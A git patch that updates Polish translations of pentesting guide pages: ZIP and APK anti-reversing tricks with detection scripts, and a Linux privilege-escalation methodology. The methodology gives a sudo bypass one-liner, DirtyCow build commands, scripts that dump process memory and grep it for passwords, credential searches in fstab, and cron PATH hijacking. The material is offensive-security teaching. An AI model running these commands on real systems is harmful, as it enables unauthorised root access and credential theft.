From 1abf87538084e8baf45d8552498224a6a9a52434 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 4 Sep 2025 00:54:28 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/authentication-credentials-uac-an --- .../zips-tricks.md | 68 +- .../privilege-escalation/README.md | 562 +++++++-------- .../android-app-pentesting/README.md | 511 ++++++------- .../pentesting-mysql.md | 122 ++-- ...object-creation-new-usd_get-a-usd_get-b.md | 58 +- .../pentesting-web/spring-actuators.md | 82 +-- .../README.md | 297 ++++---- src/pentesting-web/file-inclusion/README.md | 287 ++++---- .../file-inclusion/lfi2rce-via-php-filters.md | 36 +- src/pentesting-web/file-upload/README.md | 154 ++-- .../password-spraying.md | 74 +- .../silver-ticket.md | 56 +- .../README.md | 148 ++-- .../checklist-windows-privilege-escalation.md | 102 +-- .../README.md | 680 +++++++++--------- .../abusing-auto-updaters-and-ipc.md | 90 +-- .../juicypotato.md | 90 +-- 17 files changed, 1707 insertions(+), 1710 deletions(-) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index ab5f39aa2..aec1cc7ec 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,30 +1,30 @@ -# ZIPs tricks +# Sztuczki ZIP {{#include ../../../banners/hacktricks-training.md}} -**Narzędzia w wierszu poleceń** do zarządzania **zip files** są niezbędne do diagnozowania, naprawiania i łamania plików zip. Oto kilka kluczowych narzędzi: +**Narzędzia wiersza poleceń** do obsługi **plików zip** są niezbędne do diagnozy, naprawy i łamania haseł w zipach. Oto najważniejsze narzędzia: -- **`unzip`**: Pokazuje, dlaczego plik zip może się nie rozpakowywać. -- **`zipdetails -v`**: Oferuje szczegółową analizę pól formatu zip. -- **`zipinfo`**: Wyświetla zawartość pliku zip bez wyodrębniania. -- **`zip -F input.zip --out output.zip`** i **`zip -FF input.zip --out output.zip`**: Próbują naprawić uszkodzone pliki zip. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Narzędzie do brute-force łamania haseł zip, skuteczne dla haseł do około 7 znaków. +- **`unzip`**: Ujawnia, dlaczego plik zip może się nie rozpakowywać. +- **`zipdetails -v`**: Daje szczegółową analizę pól formatu pliku zip. +- **`zipinfo`**: Wypisuje zawartość pliku zip bez ich rozpakowywania. +- **`zip -F input.zip --out output.zip`** i **`zip -FF input.zip --out output.zip`**: Próbują naprawić uszkodzone archiwa zip. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Narzędzie do brute-force łamania haseł plików zip, skuteczne dla haseł do około 7 znaków. -Specyfikacja formatu pliku [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) zawiera kompleksowe informacje o strukturze i standardach plików zip. +The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. -Warto zauważyć, że pliki zip zabezpieczone hasłem **nie szyfrują nazw plików ani rozmiarów plików** wewnątrz archiwum — jest to luka bezpieczeństwa, której nie mają RAR ani 7z, które szyfrują te informacje. Ponadto pliki zip zaszyfrowane starszą metodą ZipCrypto są podatne na **plaintext attack**, jeśli dostępna jest nieszyfrowana kopia skompresowanego pliku. Ten atak wykorzystuje znaną zawartość do złamania hasła zip, co opisano w artykule [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) oraz w [tym artykule naukowym](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Pliki zip zabezpieczone **AES-256** są jednak odporne na ten plaintext attack, co pokazuje, jak ważne jest wybieranie bezpiecznych metod szyfrowania dla danych wrażliwych. +Ważne jest zauważyć, że pliki zip chronione hasłem **nie szyfrują nazw plików ani rozmiarów plików** wewnątrz, co stanowi wadę bezpieczeństwa, której nie mają archiwa RAR ani 7z, które szyfrują te informacje. Ponadto pliki zip zaszyfrowane starszą metodą ZipCrypto są podatne na plaintext attack, jeśli dostępna jest niezaszyfrowana kopia skompresowanego pliku. Atak ten wykorzystuje znaną zawartość do złamania hasła zip — podatność opisana w [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) i dalej wyjaśniona w [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Jednak pliki zip zabezpieczone szyfrowaniem **AES-256** są odporne na tę plaintext attack, co pokazuje znaczenie wyboru bezpiecznych metod szyfrowania dla danych wrażliwych. --- -## Anti-reversing tricks in APKs using manipulated ZIP headers +## Sztuczki anty-rewersji w APKach wykorzystujące zmanipulowane nagłówki ZIP -Nowoczesne droppery malware na Androida używają sfałszowanych metadanych ZIP, aby zepsuć narzędzia statyczne (jadx/apktool/unzip), jednocześnie zachowując możliwość instalacji APK na urządzeniu. Najczęstsze sztuczki to: +Nowoczesne droppery malware na Androida używają niepoprawnych metadanych ZIP, aby zepsuć narzędzia statyczne (jadx/apktool/unzip), jednocześnie pozwalając na instalację APK na urządzeniu. Najczęstsze sztuczki to: -- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0 -- Abusing large/custom Extra fields to confuse parsers -- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`) +- Fałszywe szyfrowanie przez ustawienie bitu 0 w ZIP General Purpose Bit Flag (GPBF) +- Nadużywanie dużych/własnych pól Extra, aby zmylić parsery +- Kolizje nazw plików/katalogów w celu ukrycia rzeczywistych artefaktów (np. katalog o nazwie `classes.dex/` obok prawdziwego `classes.dex`) -### 1) Fake encryption (GPBF bit 0 set) without real crypto +### 1) Fałszywe szyfrowanie (GPBF bit 0 ustawiony) bez rzeczywistego szyfrowania Objawy: - `jadx-gui` zgłasza błędy takie jak: @@ -32,7 +32,7 @@ Objawy: ``` java.util.zip.ZipException: invalid CEN header (encrypted entry) ``` -- `unzip` prosi o hasło dla kluczowych plików APK, mimo że prawidłowy APK nie może mieć zaszyfrowanych `classes*.dex`, `resources.arsc`, ani `AndroidManifest.xml`: +- `unzip` prosi o hasło dla kluczowych plików APK, mimo że prawidłowe APK nie może mieć zaszyfrowanych `classes*.dex`, `resources.arsc`, ani `AndroidManifest.xml`: ```bash unzip sample.apk @@ -47,7 +47,7 @@ Wykrywanie za pomocą zipdetails: ```bash zipdetails -v sample.apk | less ``` -Spójrz na General Purpose Bit Flag w nagłówkach lokalnych i centralnych. Charakterystyczną wartością jest ustawiony bit 0 (Encryption) nawet dla głównych wpisów: +Spójrz na General Purpose Bit Flag dla local i central headers. Wskazującą wartością jest ustawiony bit 0 (Encryption) nawet dla core entries: ``` Extract Zip Spec 2D '4.5' General Purpose Flag 0A09 @@ -56,9 +56,9 @@ General Purpose Flag 0A09 [Bit 3] 1 'Streamed' [Bit 11] 1 'Language Encoding' ``` -Heurystyka: Jeśli APK instaluje się i uruchamia na urządzeniu, ale core entries wyglądają na "encrypted" dla narzędzi, GPBF został zmanipulowany. +Heurystyka: Jeśli APK instaluje się i działa na urządzeniu, ale kluczowe wpisy wyglądają dla narzędzi na "encrypted", GPBF został zmieniony. -Napraw to przez wyczyszczenie bitu 0 GPBF w wpisach Local File Headers (LFH) oraz Central Directory (CD). Minimal byte-patcher: +Naprawa: wyczyść bit 0 GPBF zarówno w Local File Headers (LFH), jak i we wpisach Central Directory (CD). Minimalny byte-patcher: ```python # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers import struct, sys @@ -94,33 +94,33 @@ Użycie: python3 gpbf_clear.py obfuscated.apk normalized.apk zipdetails -v normalized.apk | grep -A2 "General Purpose Flag" ``` -Powinieneś teraz widzieć `General Purpose Flag 0000` przy głównych wpisach, a narzędzia ponownie sparsują APK. +Powinieneś teraz zobaczyć `General Purpose Flag 0000` na głównych wpisach, a narzędzia ponownie sparsują APK. -### 2) Duże/niestandardowe pola Extra, które łamią parsery +### 2) Duże/niestandardowe Extra fields, które łamią parsery -Atakujący umieszczają przesadnie duże pola Extra i nietypowe ID w nagłówkach, żeby rozbić dekompilery. W praktyce możesz spotkać niestandardowe markery (np. ciągi takie jak `JADXBLOCK`) osadzone tam. +Atakujący upychają przewymiarowane Extra fields i dziwne ID w nagłówkach, aby zmylić dekompilery. W praktyce możesz zobaczyć tam niestandardowe znaczniki (np. ciągi takie jak `JADXBLOCK`) osadzone w tych polach. -Inspection: +Inspekcja: ```bash zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50 ``` -Zaobserwowane przykłady: nieznane ID takie jak `0xCAFE` ("Java Executable") lub `0x414A` ("JA:") zawierające duże payloads. +Zaobserwowane przykłady: nieznane ID, takie jak `0xCAFE` ("Java Executable") lub `0x414A` ("JA:"), niosące duże payloady. -DFIR heurystyki: -- Wyzwalaj alert, gdy Extra fields są wyjątkowo duże w kluczowych wpisach (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`). +DFIR heuristics: +- Wygeneruj alert, gdy Extra fields są wyjątkowo duże w przypadku kluczowych wpisów (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`). - Traktuj nieznane Extra IDs w tych wpisach jako podejrzane. -Praktyczne łagodzenie: odbudowa archiwum (np. ponowne zipowanie wyodrębnionych plików) usuwa złośliwe Extra fields. Jeśli narzędzia odmawiają rozpakowania z powodu fałszywego szyfrowania, najpierw wyczyść GPBF bit 0 jak powyżej, a następnie ponownie spakuj: +Praktyczne środki zaradcze: odbudowanie archiwum (np. ponowne spakowanie wyodrębnionych plików) usuwa złośliwe Extra fields. Jeśli narzędzia odmawiają rozpakowania z powodu fałszywego szyfrowania, najpierw wyczyść GPBF bit 0 jak powyżej, a następnie zapakuj ponownie: ```bash mkdir /tmp/apk unzip -qq normalized.apk -d /tmp/apk (cd /tmp/apk && zip -qr ../clean.apk .) ``` -### 3) Kolizje nazw plików/katalogów (ukrywanie prawdziwych artefaktów) +### 3) Zderzenia nazw plików/katalogów (ukrywanie rzeczywistych artefaktów) -A ZIP może zawierać zarówno plik `X`, jak i katalog `X/`. Niektóre programy rozpakowujące i dekompilery mogą się w tym pogubić i przykryć lub ukryć prawdziwy plik wpisem katalogu. Zaobserwowano to przy wpisach kolidujących z podstawowymi nazwami w APK, takimi jak `classes.dex`. +Archiwum ZIP może zawierać zarówno plik `X`, jak i katalog `X/`. Niektóre ekstraktory i dekompilery mogą się z tym pogubić i nadpisać lub ukryć rzeczywisty plik wpisem katalogu. Zaobserwowano to przy kolizjach wpisów z podstawowymi nazwami APK, takimi jak `classes.dex`. -Triage i bezpieczne rozpakowywanie: +Selekcja i bezpieczne wypakowywanie: ```bash # List potential collisions (names that differ only by trailing slash) zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d @@ -131,7 +131,7 @@ unzip normalized.apk -d outdir # replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r # new name: unk_classes.dex ``` -Postfiks wykrywania programowego: +Przyrostek do wykrywania programowego: ```python from zipfile import ZipFile from collections import defaultdict @@ -149,9 +149,9 @@ if len(variants) > 1: print('COLLISION', base, '->', variants) ``` Blue-team — pomysły wykrywania: -- Flag APKs, których lokalne nagłówki oznaczają szyfrowanie (GPBF bit 0 = 1), a mimo to instalują/uruchamiają się. -- Flag duże/nieznane Extra fields w core entries (szukaj znaczników takich jak `JADXBLOCK`). -- Flag kolizje ścieżek (`X` i `X/`) szczególnie dla `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. +- Oznacz APKs, których lokalne nagłówki oznaczają szyfrowanie (GPBF bit 0 = 1), lecz instalują/uruchamiają się. +- Oznacz duże/nieznane pola Extra na podstawowych wpisach (szukaj znaczników takich jak `JADXBLOCK`). +- Oznacz kolizje ścieżek (`X` i `X/`) szczególnie dla `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. --- diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index ca17cf5ed..5434b2bd4 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,21 +4,21 @@ ## Informacje o systemie -### Informacje o systemie operacyjnym +### Informacje o OS -Zacznijmy od zdobycia informacji o uruchomionym systemie operacyjnym +Zacznijmy od zebrania informacji o działającym systemie operacyjnym. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### PATH -Jeśli **masz uprawnienia do zapisu w dowolnym katalogu znajdującym się w zmiennej `PATH`**, możesz być w stanie przejąć niektóre biblioteki lub pliki binarne: +Jeśli **masz uprawnienia do zapisu w którymkolwiek folderze wewnątrz zmiennej `PATH`**, możesz być w stanie przejąć niektóre biblioteki lub binaria: ```bash echo $PATH ``` -### Informacje Env +### Informacje o środowisku Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła lub klucze API? ```bash @@ -26,16 +26,16 @@ Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła ``` ### Kernel exploits -Sprawdź wersję jądra i czy istnieje jakiś exploit, który można wykorzystać do eskalacji uprawnień +Sprawdź wersję jądra i zobacz, czy istnieje exploit, który można wykorzystać do escalate privileges. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Możesz znaleźć dobrą listę podatnych kerneli i kilka już **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Inne strony, gdzie możesz znaleźć niektóre **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Możesz znaleźć dobrą listę podatnych kerneli oraz kilka już **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Inne serwisy, gdzie możesz znaleźć kilka **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Aby wyodrębnić wszystkie podatne wersje kernela z tej strony możesz wykonać: +Aby wyodrębnić wszystkie podatne wersje kernela z tej strony możesz zrobić: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ Narzędzia, które mogą pomóc w wyszukiwaniu kernel exploits to: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (uruchomić IN victim, tylko sprawdza exploits dla kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (uruchomić na ofierze, sprawdza tylko exploits dla kernel 2.x) -Zawsze **wyszukaj kernel version w Google**, być może Twoja kernel version jest wymieniona w jakimś kernel exploit i wtedy będziesz mieć pewność, że exploit jest ważny. +Zawsze **wyszukaj wersję kernela w Google**, być może Twoja wersja kernela jest wymieniona w jakimś kernel exploit i wtedy będziesz pewien, że exploit jest ważny. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo wersja +### Wersja Sudo Na podstawie podatnych wersji sudo, które pojawiają się w: ```bash @@ -73,20 +73,20 @@ Od @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg weryfikacja podpisu nie powiodła się +### Dmesg signature verification failed -Sprawdź **smasher2 box of HTB** w poszukiwaniu **przykładu**, jak ta vuln może zostać wykorzystana. +Sprawdź **smasher2 box of HTB** jako **przykład**, jak ta vuln mogła zostać wykorzystana. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Więcej enumeracji systemu +### Więcej system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Wymień możliwe zabezpieczenia +## Wymień możliwe mechanizmy obronne ### AppArmor ```bash @@ -123,7 +123,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Jeśli znajdujesz się wewnątrz kontenera Docker, możesz spróbować się z niego wydostać: +Jeśli znajdujesz się wewnątrz docker container, możesz spróbować z niego uciec: + {{#ref}} docker-security/ @@ -131,7 +132,7 @@ docker-security/ ## Dyski -Sprawdź **co jest zamontowane, a co odmontowane**, gdzie i dlaczego. Jeśli coś jest odmontowane, możesz spróbować to zamontować i sprawdzić, czy nie ma tam prywatnych informacji. +Sprawdź **co jest zamontowane i niezamontowane**, gdzie i dlaczego. Jeśli coś jest niezamontowane, możesz spróbować to zamontować i sprawdzić, czy zawiera prywatne informacje. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Przydatne oprogramowanie -Wymień przydatne pliki binarne +Wymień przydatne binaria ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Sprawdź też, czy **jakikolwiek kompilator jest zainstalowany**. To przydatne, jeśli musisz użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej). +Sprawdź też, czy **any compiler is installed**. Jest to przydatne, jeśli musisz użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Zainstalowane podatne oprogramowanie -Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieć jakaś stara wersja Nagios (na przykład), którą można wykorzystać do escalating privileges…\ +Sprawdź **wersję zainstalowanych pakietów i usług**. Może być jakaś stara wersja Nagios (na przykład), którą można by wykorzystać do escalating privileges…\ Zaleca się ręczne sprawdzenie wersji bardziej podejrzanego zainstalowanego oprogramowania. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Jeśli masz dostęp SSH do maszyny, możesz także użyć **openVAS**, aby sprawdzić, czy na maszynie nie są zainstalowane przestarzałe lub podatne wersje oprogramowania. +Jeśli masz dostęp SSH do maszyny, możesz też użyć **openVAS**, aby sprawdzić przestarzałe i podatne oprogramowanie zainstalowane na niej. -> [!NOTE] > _Zwróć uwagę, że te polecenia wyświetlą dużo informacji, które w większości będą bezużyteczne, dlatego zalecane są aplikacje takie jak OpenVAS lub podobne, które sprawdzą, czy któraś z zainstalowanych wersji oprogramowania jest podatna na known exploits_ +> [!NOTE] > _Zauważ, że te polecenia wyświetlą dużo informacji, które w większości będą bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy któraś z zainstalowanych wersji oprogramowania jest podatna na znane exploits_ ## Procesy -Rzuć okiem na **jakie procesy** są uruchomione i sprawdź, czy któryś proces nie ma **więcej uprawnień, niż powinien** (może tomcat uruchomiony przez root?) +Rzuć okiem na **jakie procesy** są uruchamiane i sprawdź, czy któryś proces ma **więcej uprawnień niż powinien** (może tomcat uruchomiony jako root?) ```bash ps aux ps -ef top -n 1 ``` -Zawsze sprawdzaj, czy nie działają [**electron/cef/chromium debuggers** — możesz ich nadużyć do eskalacji uprawnień](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je, sprawdzając parametr `--inspect` w linii poleceń procesu.\ -Sprawdź też swoje uprawnienia do binarek procesów — może uda się nadpisać jakieś. +Zawsze sprawdzaj, czy nie działają [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je, sprawdzając parametr `--inspect` w linii poleceń procesu.\ +Sprawdź również swoje uprawnienia względem binarek procesów — może będziesz mógł je nadpisać. -### Process monitoring +### Monitorowanie procesów -Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. To może być bardzo przydatne do identyfikacji podatnych procesów uruchamianych często lub gdy spełnione są określone warunki. +Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. Może to być bardzo przydatne do zidentyfikowania podatnych procesów uruchamianych często lub gdy spełnione są określone warunki. -### Process memory +### Pamięć procesu -Niektóre usługi serwera zapisują **credentials w postaci jawnego tekstu w pamięci**.\ -Zwykle potrzebujesz **root privileges** aby czytać pamięć procesów należących do innych użytkowników, dlatego jest to zwykle przydatniejsze, gdy jesteś już root i chcesz odnaleźć więcej credentials.\ -Pamiętaj jednak, że **jako zwykły użytkownik możesz czytać pamięć procesów, które należą do Ciebie**. +Niektóre usługi serwera zapisują **credentials in clear text inside the memory**.\ +Zazwyczaj będziesz potrzebować **root privileges** żeby odczytać pamięć procesów należących do innych użytkowników, dlatego jest to zwykle bardziej przydatne, gdy jesteś już root i chcesz znaleźć więcej credentials.\ +Pamiętaj jednak, że jako zwykły użytkownik możesz odczytać pamięć procesów, które należą do Ciebie. > [!WARNING] -> Zauważ, że obecnie większość maszyn **domyślnie nie pozwala na ptrace**, co oznacza, że nie możesz zrzucać pamięci procesów należących do innych użytkowników bez uprawnień. +> Należy pamiętać, że obecnie większość maszyn **nie pozwala na ptrace domyślnie**, co oznacza, że nie możesz zrzucać innych procesów należących do twojego nieuprzywilejowanego użytkownika. > > Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace: > -> - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, o ile mają ten sam uid. To klasyczny sposób działania ptrace. -> - **kernel.yama.ptrace_scope = 1**: tylko proces nadrzędny może być debugowany. -> - **kernel.yama.ptrace_scope = 2**: tylko administrator może używać ptrace, ponieważ wymaga to uprawnienia CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: żadne procesy nie mogą być śledzone za pomocą ptrace. Po ustawieniu tej wartości potrzebny jest reboot, aby ponownie włączyć ptrace. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz pobrać Heap i przeszukać w poszukiwaniu jej credentials. +Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać Heap i przeszukać go w poszukiwaniu credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Dla danego identyfikatora procesu, **maps pokazuje, jak pamięć jest zmapowana w wirtualnej przestrzeni adresowej tego procesu**; pokazuje też **uprawnienia każdego zmapowanego regionu**. Pseudoplik **mem** **udostępnia samą pamięć procesu**. Z pliku **maps** wiemy, które **obszary pamięci są czytelne** i ich offsety. Używamy tych informacji, aby **przejść do odpowiednich offsetów w pliku mem i zrzucić wszystkie czytelne regiony** do pliku. +Dla danego identyfikatora procesu **maps pokazuje, jak pamięć jest mapowana w przestrzeni adresowej tego procesu**; pokazuje też **uprawnienia każdego mapowanego obszaru**. Pseudo-plikiem **mem** jest plik, który **ujawnia samą pamięć procesu**. Z pliku **maps** wiemy, które **obszary pamięci są czytelne** oraz ich offsety. Wykorzystujemy te informacje, aby **ustawić wskaźnik w pliku mem i zrzucić wszystkie czytelne obszary** do pliku. ```bash procdump() ( @@ -230,7 +231,7 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` zapewnia dostęp do systemowej **pamięci fizycznej**, a nie pamięci wirtualnej. Przestrzeń adresowa jądra można uzyskać za pomocą /dev/kmem.\ +`/dev/mem` zapewnia dostęp do **pamięci fizycznej** systemu, a nie pamięci wirtualnej. Do wirtualnej przestrzeni adresowej jądra można uzyskać dostęp za pomocą /dev/kmem.\ Zazwyczaj `/dev/mem` jest czytelny tylko dla **root** i grupy **kmem**. ``` strings /dev/mem -n10 | grep -i PASS @@ -264,31 +265,31 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### Tools +### Narzędzia -Aby zrzucić pamięć procesu, możesz użyć: +Aby zrzucić pamięć procesu możesz użyć: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania root i zrzucić proces należący do Ciebie -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące root i zrzucić proces należący do Ciebie +- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root) -### Credentials from Process Memory +### Poświadczenia z pamięci procesu -#### Manual example +#### Przykład ręczny Jeśli stwierdzisz, że proces authenticator jest uruchomiony: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Możesz dumpować proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby dumpowania memory procesu) i przeszukać memory w poszukiwaniu credentials: +Możesz wykonać dump procesu (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby dump memory procesu) i wyszukać credentials w memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **steal clear text credentials from memory** i z niektórych **well known files**. Wymaga uprawnień root, aby działać poprawnie. +Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **wykradać poświadczenia w postaci jawnego tekstu z pamięci** oraz z niektórych **dobrze znanych plików**. Wymaga uprawnień root, aby działać prawidłowo. | Funkcja | Nazwa procesu | | ------------------------------------------------- | -------------------- | @@ -299,7 +300,7 @@ Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/ | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Wzorce wyszukiwania (Regex)/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,36 +314,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## Zaplanowane/Cron zadania -Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Być może możesz wykorzystać skrypt uruchamiany przez root (wildcard vuln? czy możesz modyfikować pliki, których używa root? użyć symlinks? utworzyć konkretne pliki w katalogu, którego używa root?). +Sprawdź, czy któreś zaplanowane zadanie jest podatne. Być może możesz wykorzystać skrypt uruchamiany przez root (wildcard vuln? czy można modyfikować pliki, których używa root? użyć symlinks? utworzyć konkretne pliki w katalogu, którego używa root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Ścieżka cron +### Cron path -Na przykład, w _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Na przykład, w pliku _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Zauważ, że użytkownik "user" ma uprawnienia do zapisu w /home/user_) +(_Zauważ, że użytkownik "user" ma uprawnienia zapisu do /home/user_) -Jeśli w tym crontabie użytkownik root próbuje wykonać jakąś komendę lub skrypt bez ustawienia PATH. Na przykład: _\* \* \* \* root overwrite.sh_\ -Wtedy możesz uzyskać root shell, używając: +Jeśli w tym crontabie użytkownik root próbuje wykonać jakieś polecenie lub skrypt bez ustawienia PATH. 